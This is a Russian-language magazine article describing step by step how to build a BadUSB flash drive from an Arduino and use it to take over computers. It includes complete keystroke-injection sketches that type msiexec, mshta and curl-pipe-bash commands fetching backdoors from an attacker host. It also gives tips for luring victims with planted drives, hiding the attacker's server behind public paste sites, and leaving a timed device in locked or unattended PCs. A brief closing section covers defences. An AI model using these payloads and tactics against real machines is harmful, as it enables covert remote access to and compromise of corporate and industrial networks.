Хакер - Очень плохая флешка. Разбираем атаку BadUSB в деталях
s0i37
Содержание статьи
- Теория
- Аппаратная часть
- Программная часть
- Атака на разблокированные компьютеры
- Атака на заблокированный компьютер
- Защита
Об атаках BadUSB «Хакер» уже неоднократно писал. Сегодня мы разберем конкретный пример реализации такой атаки, подробно опишем устройство вредоносной флешки, приведем записанный на нее код и обсудим, как заставить пользователя Windows или Linux подключить ее к своему компьютеру.
BadUSB — это целое семейство атак на USB-порт, при которых подключаемое устройство выдает себя за другой девайс, например:
- HID-устройство (клавиатура или мышка);
- Ethernet — сетевая карта;
- Mass storage (съемный накопитель).
Наиболее интересны первые два варианта. В сегодняшней статье мы рассмотрим вариант с HID-устройством, а в следующей — с сетевой картой. Вариант с HID-устройством — это одна из немногих физических атак, требующих социального фактора, то есть успех зависит от действий пользователя. Однако я вижу еще одно применение, не требующего явного участия человека. Но обо всем по порядку.
INFO
Эта статья — часть серии публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак. Предыдущая статья серии: «Крококряк. Снимаем трафик с витой пары обычными „крокодилами“».
ТЕОРИЯ
Итак, BadUSB-HID — это атака, при которой подключаемое к порту USB устройство запрограммировано, как клавиатура (реже — как мышь), но при этом таковой не является. И именно в обманчивости внешнего вида и кроется элемент социальной инженерии.
Самый популярный форм‑фактор такого устройства — флешка. Но, учитывая небольшие габариты самого девайса, оно может быть встроено куда угодно — будь то веб‑камера или даже USB-провод (O.MG Cable). Подходящую форму устройства задает контекст, поскольку выбор должен быть оптимальным в той или иной ситуации.
Миниатюрное устройство с контроллером клавиатуры сразу после подключения выполняет произвольные нажатия клавиш. Возможность заранее запрограммировать эти самые нажатия обычно используется для ввода той или иной команды ОС с помощью соответствующих горячих клавиш, например Win-R или Alt-F2.
BadUSB-HID — это атака:
- на разблокированные ПК — подбрасывание флешки и мгновенный RCE; атака требует приманки для пользователя, чтобы тот подключил устройство к ПК;
- заблокированные ПК — незаметное подключение флешки и отложенный RCE; атака требует незаметного размещения устройства и отсутствие контроля над атакуемой машиной в момент подключения.
В каждом случае мы имеем шанс получить RCE, а значит, игра явно стоит свеч. При этом сама атака обладает крайне высокой скоростью, так как нажатия производятся достаточно быстро. Вполне возможно, пользователь даже ничего не заметит.
АППАРАТНАЯ ЧАСТЬ
На мой взгляд, решающий фактор при реализации девайса BadUSB-HID — это его дешевизна и простота производства. Поскольку характер использования подразумевает подбрасывание таких флешек, для нас это становится расходным материалом.
Несколько простых и известных решений для эмуляции контроллера клавиатуры представлены в следующей таблице.
Зачем заказывать дорогие и привлекающие внимание решения вроде hak5 (с логотипом Rubber Ducky), когда все можно собрать самому и за меньшую стоимость? Если все сделать правильно, нам не будет жалко рассыпать где‑нибудь с десяток таких «флешек».
Вполне очевидным выбором станет плата семейства Arduino. Она недорога, и еще одно преимущество в том, что ее достаточно просто купить в специализированных магазинах электроники внутри страны, то есть в кратчайший срок.
Лично для меня куда большей проблемой оказалось раздобыть корпус. Но, возможно, если в твоем городе нет подходящих магазинов, будет проще приобрести самую дешевую флешку подходящих габаритов и извлечь ее содержимое, оставив только корпус. Либо же распечатать корпус на 3D-принтере.
Так как большая часть плат Arduino идет с micro-USB-интерфейсом, необходимо перепаять разъем под классический USB-штекер, поскольку во флешку с нестандартным интерфейсом пользователь вряд ли поверит. Сама плата при этом конструктивно может быть не приспособлена под пайку штекера USB-A, поэтому можно прикрепить его к корпусу флешки с помощью клея, а саму плату уже припаять парой жестких проводов. Тогда усилие при извлечении флешки пойдет на ее корпус, а не на саму плату.
Чтобы слегка уменьшить ширину платы, можно отпилить пару миллиметров с каждого края в области дополнительных контактов — они нам не понадобятся. В итоге мы сможем уместить нашу Arduino Pro Micro в классический корпус для флешки, как показано на следующем рисунке.
А вот так атакующая флешка выглядит в собранном виде.
Словом, желательно, чтобы у нашего устройства было минимум отличий от обычной флешки. К сожалению, самая мейнстримовая плата Arduino Pro Micro не определяется в Windows 7 и ниже без «дров», но сейчас «десятка» встречается уже куда чаще. Если необходима совместимость с Windows 7 и ниже, то следует приобрести более дорогую плату Teensy либо что‑то аналогичное. Вполне вероятно, что на момент прочтения этой статьи появятся более подходящие аппаратные решения.
ПРОГРАММНАЯ ЧАСТЬ
Благодаря встроенному загрузчику Arduino поддерживает многократную перепрошивку, так что можно записывать в нее команды повторно под каждую конкретную ситуацию. По сути, мы будем заливать лишь пользовательский прикладной код.
Программы, или скетчи (в нотации Arduino), компилируются под AVR-процессор и прошиваются через USB посредством все той же программы Arduino:
apt install arduino
arduino
При работе с эмуляцией клавиатуры на Arduino мы применяем примерно следующий API:
void setup(){ // Код, выполняющийся только один раз при подключении устройства по USB
Keyboard.begin(); // Включаем режим контроллера клавиатуры
delay(2000); // Пауза в миллисекундах
Keyboard.press(KEY_LEFT_SHIFT); // Зажать клавиши
Keyboard.press(KEY_RETURN);
delay(100);
Keyboard.releaseAll(); // Отпустить зажатые клавиши
Keyboard.print("cmd /c evil command"); // Набрать текст на клавиатуре
Keyboard.write(KEY_RETURN); // Нажать клавишу
}
void loop(){ delay(3600000); something(); } // Код, выполняющийся постоянно
Как только код написан, происходит компиляция и заливка программы в контроллер:
- Сервис → Плата: Arduino Micro
- Сервис → Последовательный порт: /dev/ttyACM0
- Файл → Загрузить
Если все прошло успешно, то через несколько секунд флешка перезагрузится и выполнит все запрограммированные нажатия прямо на твоем ПК. Но, понятное дело, эти нажатия клавиш будут далеко не простые...
АТАКА НА РАЗБЛОКИРОВАННЫЕ КОМПЬЮТЕРЫ
Данная атака была красиво продемонстрирована в сериале Mister Robot, ниже ты можешь полюбоваться кадром из этого фильма.
Суть атаки заключается в том, чтобы пользователь подобрал подброшенную нами флешку и подключил к своему компьютеру, который расположен, возможно, где‑то глубоко в корпоративной или даже промышленной сети. После того как флешку вставят в USB-порт, она выполнит залитый в нее код посредством запрограммированных нажатий клавиш, что впоследствии откроет удаленный доступ злоумышленнику.
Как мы помним, наше USB-устройство — не то, чем ожидает его увидеть пользователь. В данном случае пользователь предполагает, что это обычный съемный диск, но внезапно это клавиатура...
Как упоминалось ранее, эта атака требует социальной инженерии. Вот несколько примеров сценариев, позволяющих усыпить бдительность потенциальной жертвы:
- посылка или конверт с флешкой передается через ресепшен, например руководству;
- флешка подбрасывается любопытному пользователю в почтовый ящик или возле офиса;
- флешка передается напрямую под видом клиента (в случае если компания принимает информацию на флешках).
Теперь немного о том, какие именно нажатия клавиш нужно выполнять и как с их помощью быстро и гарантированно выполнить код. Да такой, чтобы получить потом удаленный доступ. Самый короткий способ — запустить RAT (remote administrative tool), то есть установить на компьютер бэкдор. Например, так:
msiexec /i http://rce.attacker.tk/shell.msi /quiet
mshta http://rce.attacker.tk/shell.hta
curl -L http://rce.attacker.tk/1.sh|bash
Каждая из приведенных команд (в зависимости от ОС) встроенная, максимально короткая и автоматически за одно действие скачивает и запускает код по протоколу HTTP (лучше HTTPS).
Перед атакой потенциальный взломщик, скорее всего, не будет располагать исчерпывающей информацией о сетевых ограничениях из локальной сети в сторону интернета. И нет стопроцентной гарантии, что сетевое подключение от компьютера жертвы достигнет сервера удаленного управления. Но исполнение перечисленных выше команд запускает четкую последовательность действий, отслеживание которых даст атакующему достаточный объем информации:
- Поскольку мы задали адрес сервера по имени, будет выполнен DNS-запрос. Система DNS — распределенная, и запрос с компьютера жертвы, как правило, будет отправлен в любом случае. Если мы используем собственную DNS-зону, делегированную на наш подконтрольный сервер, то мы увидим данный запрос в логах. Это будет сигналом того, что флешка была подключена и RCE произошел. Тем не менее это не гарантирует, что сетевой доступ возможен.
- Если выход в интернет из корпоративной сети никак не ограничен, то на сервер злоумышленника придет HTTP-запрос, который также можно будет увидеть в логах. Это будет сигналом того, что сетевое соединение возможно и мы сможем удаленно управлять скомпрометированным узлом. Тем не менее это не гарантирует, что защитные механизмы ОС допустят непосредственное исполнение программы удаленного управления.
- Получен шелл. Атака прошла успешно.
Даже если атака не увенчается успехом, у атакующего будет информация о правилах доступа в интернет с компьютеров пользователей и об их осведомленности о подобного рода инцидентах. Подобная информация может использоваться при повторных атаках.
На следующем рисунке видно, что сразу после подключения флешки открывается окно «Выполнить» и в этом окне вводится команда, скачивающая и запускающая программу удаленного управления с сервера злоумышленника.
В результате всего через несколько секунд после подключения флешки и запуска ею бэкдора потенциальный злоумышленник сможет удаленно управлять системой со всеми вытекающими последствиями.
Чтобы максимально сохранить анонимность при выполнении подобной атаки и не разглашать адрес своего сервера, можно воспользоваться публичными сервисами, позволяющими залить что угодно, а потом скачать это по протоколу HTTP, например paste.c-net.org или ix.io.
При реализации этой атаки на компах неанглоговорящих пользователей возникает дополнительная проблема — в ОС может быть активирована не латинская раскладка клавиатуры, например русская. Если набор нажатий будет произведен не в латинской раскладке, то атака сорвется.
В подобной ситуации для выполнения правильных нажатий можно использовать два подхода:
- выполнять нажатия «как есть», потом переключить языковую раскладку и повторить нажатия;
- использовать ALT-коды (три‑четыре нажатия для каждой буквы), изменить статус клавиши NumLock и повторить нажатия.
Однозначно выигрышного способа нет. В одном случае мы должны угадать раскладку клавиатуры, в другом — активацию ее цифровой части. Какой вариант использовать — решать каждому. Скорость набора достаточно высокая, и нет разницы с ALT-кодами, но скетч‑файл Arduino имеет более читабельный вид при классическом наборе, поэтому выберем этот вариант.
Атака BadUSB платформенно независима, поэтому наряду с Windows можно атаковать и Linux, и даже Mac. Вот универсальный скетч для атаки рабочих станций Windows/Linux:
void windows_run() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(250);
Keyboard.releaseAll();
Keyboard.print("msiexec /i http://rce.attacker.tk/1.msi /quiet");
delay(100);
Keyboard.write(KEY_RETURN);
}
void linux_run() {
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F2);
delay(250);
Keyboard.releaseAll();
Keyboard.print("curl -L http://rce.attacker.tk/1.sh|bash -");
delay(100);
Keyboard.write(KEY_RETURN);
}
void rce() {
windows_run();
delay(100);
linux_run();
delay(100);
}
void switchLang() {
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_LEFT_ALT);
delay(100);
Keyboard.releaseAll();
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_LEFT_CTRL);
delay(100);
Keyboard.releaseAll();
}
void setup() { // Будет выполнено при подключении устройства в USB
Keyboard.begin();
delay(2000);
rce();
switchLang();
rce();
}
Вне зависимости от ОС на атакуемой машине приведенный выше скетч через нажатия клавиш на достаточно высоких скоростях выполнит две команды — для Windows и Linux соответственно. После чего переключит языковую раскладку двумя способами и повторит команды еще раз. В итоге мы имеем четыре попытки выполнения команд: две, чтобы угадать ОС, и две, чтобы угадать языковую раскладку.
АТАКА НА ЗАБЛОКИРОВАННЫЙ КОМПЬЮТЕР
Помимо функции setup()
, выполняющейся при подключении устройства, Arduino имеет предопределенную функцию loop()
, которая выполняется в бесконечном цикле.
Идея состоит в том, что нажатия мы будем инициировать не только в момент подключения к ПК, вместо этого мы будем повторять их в каждый заранее выбранный промежуток времени:
void setup() { // Будет выполнено при подключении устройства по USB
Keyboard.begin();
delay(2000);
rce();
switchLang();
rce();
}
void loop(){ delay(3600000); setup(); } // Постоянно выполняющийся код (каждый час)
Таким образом, флешку можно незаметно вставить в заблокированный компьютер и запрограммировать ее на отправку нажатий не сразу, а каждые N часов или минут, чтобы поймать момент, когда машина будет разблокирована (отложенный RCE). Пока ПК залочен, все нажатия будут уходить в поле ввода пароля и пропадать, то есть атака будет проходить фактически бесследно.
Форм‑фактор компьютера может сыграть на руку злоумышленнику. В системный блок, задвинутый в пыльный темный угол, достаточно легко что‑то незаметно вставить, да еще и так, что потом годами никто этого не заметит. Другое дело — ноутбук, который всегда перед глазами. Но даже если все USB-порты атакуемого компьютера на виду у пользователя, от него все равно могут тянуться какие‑то провода (мышь, клавиатура и прочее), так что можно «вклиниться», например, в подключенную мышь под столом, раздвоив и вставив исходный провод в небольшой USB-хаб с BadUSB-флешкой, как показано на следующем рисунке.
По сути, такое устройство делает бесполезными все попытки обеспечить безопасность с помощью блокировки компьютера, к которой все так привыкли. Ведь однажды в оставленный без присмотра ноутбук может быть вставлено такое устройство. И неважно, был залочен комп или нет, BadUSB-флешка будет пытаться выполнить нажатия (читай — произвольный код) с периодичностью в несколько минут, часов или дней. И рано или поздно непременно наступит момент, когда ПК будет разлочен. Тогда вредоносный код выполнится, атакующий получит удаленный доступ и внутренняя сеть компании окажется скомпрометированной.
ЗАЩИТА
Пожалуй, лучшей защитой тут можно считать специализированные программные решения, разрешающие подключение только заранее утвержденных устройств из списка (white list). У каждого USB-устройства существует свой уникальный VendorID и ProductID, перечень которых указывается в white list. Все остальные USB-устройства, включая и BadUSB-флешки, не будут опознаны ОС. Эта мера прекрасно защищает не только от описанной выше атаки, но и от ряда других и в целом способна уберечь рабочие компьютеры от массы нежелательных последствий.
Обучать персонал, чтобы повысить его осведомленность в вопросах информационной безопасности, тоже не будет лишним, так как атака BadUSB главным образом социальная и пользователи сами создают угрозу, подключая незнакомое устройство к своим компьютерам. Также руководителям компаний можно рекомендовать периодически осматривать рабочие места сотрудников и проверять, не подключены ли посторонние устройства.